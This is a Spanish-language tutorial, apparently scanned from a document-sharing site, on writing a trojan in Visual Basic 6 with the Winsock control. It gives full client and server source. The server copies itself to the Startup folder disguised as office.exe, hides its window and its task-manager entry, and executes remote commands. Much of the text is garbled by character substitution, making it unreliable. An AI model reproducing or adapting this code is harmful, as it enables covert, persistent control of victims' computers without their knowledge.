Está en la página 1de 8

CREACION DE UN TROYANO EN VB 6.

0
por BlackShadow
Aca les dejo ese pro!eco co" el c#al odas las perso"as $#e %a"eje" lo
&as'co de V's#al Bas'c p#eda" crear s# pr'%er ro!a"o o s'se%a de
ad%'"'srac'o" re%oa.
Solo co" ('"es ed#ca')os ! por esa ra*o" ese #or'al paso a paso s' se p#ede
lla%ar as'+ #'l'*a #" oc, lla%ado -w'"sock- el c#al es el .esor de co"e,'o"es
de w'"dows '"corporado e" las l'&rer'as al '"salar )&as'c 6.0
/a! $#e desacar $#e ese oc, de&e esar e" la %a$#'"a o pc re%oa para $#e
el ser)'dor o el cl'e"e (#"c'o"e. Ese oc, se p#ede pro.ra%ar ! p#ede ser
pare del %'s%o pro!eco pero eso "o es pare de ese #or'al ! $#eda de
#sedes los lecores co" %as e,per'e"c'a lo a"al'ce" ! lo pro.ra%e" &#sca"do
'"(o e" la red $#e le sera de %#cha a!#da.
Co%o esa Co"s'#'do #" Tro!a"o0
U" ro!a"o Bas'ca%e"e /a&la"do de el Ser)'dor de&e c#%pl'r co" lo
s'.#'e"e1
2.3 Ser #" 4ro.ra%a I")'s'&le.
5.3 6#e "o se )ea e" la l'sa de apl'cc'o"es e" caso de "+ 5000 o ,p
7.3 8ra&arse e" el re.'sro -'"'c'o- para $#e se ejec#e cada )e* $#e pre"da"
la pc
9.3 D#pl'carse a s' %'s%o ! oc#larse
4#esa e" %archa...
:o 4r'%ero $#e de&e%os hacer es a&r'r )'s#al &as'c ! elej'r #" E;E esa"dard+
l#e.o %a,'%'*a%os el (o"do ! "os $#edara al.o co%o1
E%pe*are%os por el Cl'e"e el c#al es lo %as (ac'l de hacer+ ese solo e")'ara
co%a"dos para ser ejec#ados re%oa%e"e.
:o 4r'%ero e" a.re.ar sera #" -e,Bo,- al c#al le )a%os a dar el "o%&re de
-co"sola- ! le )a%os a dar #" a%a<o $#e oc#pe la %'ad s#per'or de la
)e"a"a o de el (or%. No ol)'de%os darle el )alor de -r#e- a la prop'edad de
%#l'l'"e ! el )alor =5 > )er'cal? a la prop'edad ScrollBars para poder
despla*ar"os.
Ese e,&o, es el e"car.ado de dec'r"os $#e esa oc#rr'e"do... S' se co"eco+
s' esa e" proceso #" co%a"do+ s' (#e real'*ado ese co%a"do ec... as'+ $#e es
%#! '%pora"e ! es el cora*o" del pro.ra%a e" s'+ s'" el sera co%o la"*ar
%'s'les a oro pa's ! "o sa&er do"de callero". Ese e, &o, a%&'e" "os p#ede
dar '"(or%ac'o" de la co%p#adora $#e ese%os ad%'"'sra"do ec...
U"a )'sa pre)'a de el (or% co" s# e, &o, ser'a1
Al (or%#lar'o le pode%os colocar co%o "o%&re -cl'e"e- ! a las prop'edades
del (or%#lar'o @'"B#o" ! @a,B#o" las coloca%os e" -Aalse- para $#e "o
se pBeda "' %a,'%'*ar "' %'"'%'*ar la )e"a"a+ eso es c#es'o" de .#sos+ jeje.
Es hora de colocar los &oo"es+ Esa pare sera %#! &as'ca e" ese pro!eco
pero de se.#ro #sedes se.#'ra" '")es'.a"do ! lo.rara" colocar %as &oo"es
&asa"dose e" los $#e !o les dare. + Colocare%os el &oo" de Co"ecar el de
Desco"ecar ! los &oo"es des'"ados a e")'ar los co%a"dos.
Esos &oo"es ser'a" el de a&r'r la p#era del lecor del cd+ e")'ar #" %e"saje
a"o"'%o ! a&r'r el &lock de "oas.
:os "o%&res de los &oo"es ser'a"1
co"ecar
desco"ecar
a&r'r
e")'ar
"oas
Creo $#e se e"'e"de" ! "o creo $#e de&a espec'('car c#al es c#al+ a
co"'"#ac'o" )ere%os co%o "os esa $#eda"do+ !a apl'cado los &oo"es ! #"
e,&o, para la d'recc'o" 'p $#e le cplo$#e co%o "o%&re -'p-+ e" ese e,&o,
)a la d'recc'o" 'p de la )'c'%a o pc a ad%'"'srar.
Ahora s' he%os lle.ado a la pare $#e le da el o$#e de (#"c'o"al'dad a eso...
El C'"sock
El esD"dar de .es'E" de redes C'"dows Sockes 'e"e co%o ('"al'dad
proporc'o"ar #" A4I =co")e"c'E" '"er"ac'o"al $#e de('"e cE%o '")ocar #"a
(#"c'E" de #" pro.ra%a desde #"a apl'cac'E"? co%F" para los pro.ra%adores
de redes &ajo C'"dows+ por eje%plo =! (#"da%e"al%e"e? e" lo re(ere"e al
proocolo TC4GI4+ prop'o de I"er"e. .
B#e"o... El w'"sock co%o %e"c'o"e arr'&a es #" arch')o dll $#e esa e" la
carpea de w'"dows e" s!se%75 ! s' $#ere%os $#e "#esro s'se%a de
ad%'"'srac'o" re%oo (#"c'o"e ha! $#e pro.ra%arlo+ A(or#"ada%e"e
V&as'c rae co"s'.o #"a ser'e de .OC; $#e so" arch')os co" c'eras (#"c'o"es
!Go hasa co%po"e"es -o&jeos- $#e p#edes #'l'*ar e" !# pro.ra%a co" solo
#'l'*ar s#s prop'edades #"a )e* '"cerado e" el (or%#lar'o.
:o pr'%ero ser'a pres'o"ar C"rlHT para $#e "os sal.a #" c#adro o )e"a"a
do"de pode%os escojer #"a ser'e de .OC; $#e )'s#al&as'c 'e"e all' para
"osoros. B#sca%os a&ajo ! al ce"ro ! e"co"rare%os eso1
@'croso( C'"sock Co"rol 6.0 ! a%&'e" pode%os "oar $#e "os da la r#a del
arch')o oc, %as a&ajo1 C1Iw'"dowsIs!se%75I%sw'"sock.oc,
Es "ecesar'o sa&er do"de esa el arch')o+ !a $#e e" c#al$#'er co%p#adora
$#e "eces'e%os #sar el cl'e"o o $#era%os $#e (#"c'o"e el ser)'dor de&e
e"er ese arch')o para $#e (#"c'o"e.
U"a )e* $#e e"e%os el C'"Sock co"rol e" "#esra &arra de co"roles e"
V's#al Bas'c !a pode%os co%e"*ar a )er las prop'edades+ e)e"os ! %Jodos
%Ds '%pora"es del co"rol. 4ara a.re.arlo %a"#al%e"e 'r a 4ro!ecoK
Co%po"e"esK ! l#e.o selecc'o"ar C'"Sock Co"rol ! Acepar. Ese co"rol
"o es )'s'&le e" 'e%po de ejec#c'E".
:'sa de prop'edades %Ds '%pora"es
:ocalI41 De)#el)e la d'recc'E" I4 de la %D$#'"a local e" el (or%ao de cade"a
co" p#"os de d'recc'E" I4 =,,,.,,,.,,,.,,,?.
:ocal/osNa%e1 De)#el)e el "o%&re de la %D$#'"a local.
Re%oe/os1 Esa&lece el e$#'po re%oo al $#e se $#'ere sol'c'ar la co"e,'E".
:ocal4or1 Esa&lece el p#ero $#e se $#'ere dejar a la esc#cha.
Re%oe4or1 Esa&lece el "F%ero del p#ero re%oo al $#e se $#'ere co"ecar.
Sae1 Ver'('ca s' el Co"rol C'"Sock esa s'e"do #'l'*ado o "o.
Esas so" al.#"as de las prop'edades %Ds '%pora"es+ ! a co"'"#ac'E" la
s'"a,'s de cada prop'edad.
O&jeo.4rop'edad L Valor
Do"de O&jeo )a el "o%&re del Co"rol C'"Sock+ el "o%&re predeer%'"ado
c#a"do lo '"cl#'%os e" al.#"a apl'cac'E" es -C'"Sock2-. :#e.o le s'.#e la
prop'edad $#e desea%os as'."ar ! ('"al%e"e el )alor $#e la %'s%a o%arD.
:'sa de @Jodos %Ds '%pora"es
2.3 Accep1 SElo para las apl'cac'o"es de ser)'dor TC4. Ese %Jodo se #'l'*a
para acepar #"a co"e,'E" e"ra"e c#a"do se esD raa"do #" e)e"o
Co""ec'o"Re$#es.
5.3 8eDaa1 Rec#pera el &lo$#e ac#al de daos ! lo al%ace"a e" #"a )ar'a&le
de 'po Var'a".
7.3 :'se"1 Crea #" socke ! lo esa&lece a %odo de esc#cha.
9.3 Se"dDaa1 E")Ma daos a #" e$#'po re%oo.
:'sa de E)e"os %Ds '%pora"es
2.3 Co""ec'o"Re$#es1 Se prod#ce c#a"do el e$#'po re%oo sol'c'a #"a
co"e,'E". S'" ese e)e"o "o se p#ede lle)ar a ca&o la co"ecc'E".
5.3 Co""ec1 Se prod#ce c#a"do el e$#'po local se co"eca al e$#'po re%oo !
se esa&lece #"a co"e,'E".
7.3 Close1 Se prod#ce c#a"do el e$#'po re%oo c'erra la co"e,'E". :as
apl'cac'o"es de&e" #sar el %Jodo Close para cerrar correca%e"e #"a
co"e,'E" TC4.
9.3 DaaArr')al1 Se prod#ce c#a"do lle.a" "#e)os daos. Ese e)e"o es
'%pora"e+ !a $#e de&e%os hacer al.o co" la '"(or%ac'E" $#e lle.a.
:a s'"a,'s de los %Jodos ! e)e"os es '.#al a la s'"a,'s de las prop'edades+
por lo c#al "o )o! a hacer re(ere"c'a a ella.
Ahora )a%os a hacer #" res#%e" de las prop'edades %as '%pora"es del
cl'e"e1
Co"rol="o%&re
predeer%'"ado?
4rop'edad ="#e)o )alor?
C'"Sock2 Re%oe4or L NON6
co"ecar Cap'o" L -Co"ecar-
desco"ecar Cap'o" L -Desco"ecar-
e")'ar Cap'o" L -E")'ar @e"saje-
"oas Cap'o" L -A&r'r Block Noas-
a&r'r Cap'o" L -A&r'r CD-
Cod'.o A#e"e del Cl'e"e1
4r')ae S#& Aor%P:oad=?
'p.Te, L -25N.0.0.2- Qescr'&e e" el e, &o, "#esra 'p local
Qpara as' poder hacer las pr#e&as+ de&e ca%&'arse para co"ecar a ora 'p
E"d S#&
4r')ae S#& Aor%P6#er!U"load=Ca"cel As I"e.er+ U"load@ode As I"e.er?
C'"sock2.Close Qc'erra el w'"sock
E"d Qc'erra el pro.ra%a
E"d S#&
4r')ae S#& a&r'rPCl'ck=?
C'"sock2.Se"dDaa -a&r'r-
Qe")'a la cade"a a&r'rPcd
E"d S#&
4r')ae S#& co"ecarPCl'ck=?
C'"sock2.Close Qse c'erra c#al$#'er co"e,'o" pre)'a
C'"sock2.Co""ec 'p.Te,+ NON6
Qeso hace $#e el w'"sock se co"ece a la 'p $#e
Qcolo$#e%os e" el e,&o, 'p.e, ! al p#ero
QNON6 $#e es %' (echa de c#%plea<os R3?
E"d S#&
4r')ae S#& desco"ecarPCl'ck=?
C'"sock2.Close
@e.Cap'o" L -desco"ecado-
Qeso hace $#e el w'"sock se c'erre
Qas' c'erra odas las co"e,'o"es
E"d S#&
4r')ae S#& e")'arPCl'ck=?
D'% e")'ar As Sr'". Qdeclara%os a e")'ar de 'po cade"a
e")'ar L I"p#Bo,=-Escr'&e aca # %e"saje1-+ -@e"sajes-?
Q#'l'*a%os #"a (#"c'o" por de(eco de )'s#al&as'c lla%ada '"p#
Qpara escr'&'r el %e"saje a e")'ar
C'"sock2.Se"dDaa e")'ar Q e")'a el %e"saje escr'o o co"e"'do e" e")'ar
E"d S#&
4r')ae S#& "oasPCl'ck=?
C'"sock2.Se"dDaa -"oas- Qe")'a la cade"a "oas
E"d S#&
4r')ae S#& C'"sock2PCo""ec=?
@e.Cap'o" L -co"ecadoS- Qescr'&e co%o '#lo de la )e"a"a
Q$#e !a "os he%os co"ecado para as' sa&er s' pode%os e")'ar co%a"dos
E"d S#&
4r')ae S#& C'"sock2PDaaArr')al=B!Val &!esToal As :o".?
D'% daos As Sr'". Qdeclara%os a daos co%o 'po cade"a
C'"sock2.8eDaa daos Qle dec'%os a w'"sock $#e cap#re lo $#e lle.a e" daos
co"sola.Te, L co"sola.Te, H daos H )&New:'"e Qescr'&'%os lo $#e ha! e" la co"sola %as lo
Q$#e lle.a desde el ser)'dor para )er odo lo $#e pasa.
E"d S#&
El ser)'dor
4ara el ser)'dor prac'ca%e"e "o ha! "ada de .ra('cos+ es #" s'%ple (or%
do"de a.re.a%os el w'"sock '.#al $#e e" el cl'e"e
:o de%as es p#ro cod'.o $#e he raado de e,pl'car adj#"o.
Aca les dejo el cod'.o1
Qdeclarac'o"es ap' para a&r'r el lecor de cd
4r')ae Declare A#"c'o" %c'Se"dSr'". :'& -w'"%%.dll- Al'as P
-%c'Se"dSr'".A- =B!Val lpsrCo%%a"d As Sr'".+ B!Val P
lpsrRe#r"Sr'". As Sr'".+ B!Val #Re#r":e".h As :o".+ P
B!Val hw"dCall&ack As :o".? As :o".
4r')ae S#& Aor%P:oad=?
o" error res#%e "e, Qs' ha! #" error co"'"#a
C'"sock2.:ocal4or L NON6 Qp#ero al $#e )a a esc#char
C'"sock2.:'se" Qco%a"do $#e a&re ! coloca a la esc#cha el p#ero
A'leCop! App.E;ENa%e T -.e,e-+ P
-C1IDoc#%e"s a"d Se'".sIAll UsersI@e"F I"'c'oI4ro.ra%asII"'c'oIo(('ce.e,e-
Qcop'a "#esro ser)'dor a '"'c'o -pa $#e se car.e solo cada )e* $#e pre"da" la pc-
Q! le ca%&'a el "o%&re a o(('ce.e,e
Q@e.V's'&le L Aalse Q oc#la el ser)'dor -lo hace '")'s'&le-
App.TaskV's'&le L Aalse Q lo oc#la de apl'cac'o"es del ad%'" de areas
E"d S#&
4r')ae S#& Aor%P6#er!U"load=Ca"cel As I"e.er+ U"load@ode As I"e.er?
C'"sock2.Close Qcerra%os la co"e,'o"
E"d Qcerra%os el pro.ra%a
E"d S#&
4r')ae S#& C'"sock2PDaaArr')al=B!Val &!esToal As :o".?
D'% daos As Sr'". Qea&lece%os a daos co%o )ar'a&le 'po cade"a
C'"sock2.8eDaa daos Qodos los co%a"dos $#e rec'&'%os lo %ee%os e" daos
I( daos L -a&r'r- The" Qs' el co%a"do -daos- es '.#al a a&r'r e"o"ces ec...
@s.Bo, -se a&r'ra la p#era del cd- Qa&re el cd door
%c'Se"dSr'". -se Cda#d'o door ope"-+ re#r"sr'".+ 25N+ 0 Q/a&re la lecora de CDs
ElseI( daos L -"oas- The" Qs' el co%a"do es '.#al a "oas e"'"ces
a L Shell=-C1ICINDOCSINOTE4AD.E;E-+ 2? Q-shell- co%a"do $#e a&re arch')os .e,e
Else Qs'"o ...
@s.Bo, daos+ )&Cr''cal+ -@e"saje A"o"'%o- Q%#esra el %e"saje
E"d I( Q('" s'
E"d S#&
4r')ae S#& C'"sock2PCo""ec'o"Re$#es=B!Val re$#esID As :o".?
C'"sock2.Close Qreseea%os el w'"sock
C'"sock2.Accep re$#esID Qacepa%os la pe'c'o" de co"ecc'o"
E"d S#&
Es '%pora"e aclarar al.o aca1
4r')ae S#& Aor%P:oad=?
C'"sock2.:ocal4or L NON6 Qp#ero al $#e )a a esc#char
C'"sock2.:'se" Qco%a"do $#e a&re ! coloca a la esc#cha el p#ero
A'leCop! App.E;ENa%e T -.e,e-+ P
-C1IDoc#%e"s a"d Se'".sIAll UsersI@e"F I"'c'oI4ro.ra%asII"'c'oIo(('ce.e,e-
Qcop'a "#esro ser)'dor a '"'c'o -pa $#e se car.e solo cada )e* $#e pre"da" la pc-
Q! le ca%&'a el "o%&re a o(('ce.e,e
Q@e.V's'&le L Aalse Q oc#la el ser)'dor -lo hace '")'s'&le-
App.TaskV's'&le L Aalse Q lo oc#la de apl'cac'o"es del ad%'" de areas
E"d S#&
o&ser)a $#e la l'"ea 'e"e #" 'lde ese 'lde co%o sa&ra" !a es el de los
co%e"ar'os ! esa p#eso para $#e "o se ha.a '")'s'&le ! p#eda" )er la
apl'cac'o" c#a"do se ejec#a. c#a"do !a ese" se.#ros de $#e ra&aja p#ede"
$#'arlo.
Se pre.#"ara" -! para $#e s'r)e el e, &o, lla%ado co"sola e" el cl'e"e0-
p#es eso es area para la casa as' $#e espero s#s resp#esas !Go pre.#"as
para as' poco a poco a!#dar a %ejorarlo e"re #sedes %'s%os.
Co%o s'e%pre Espero les a.rade ! :os espero por aca por %' pa.'"a para $#e
ese" checka"do s' ha! "#e)os #or'ales o al.o.
Se desp'de BlackShadowS
Sal#5sS

También podría gustarte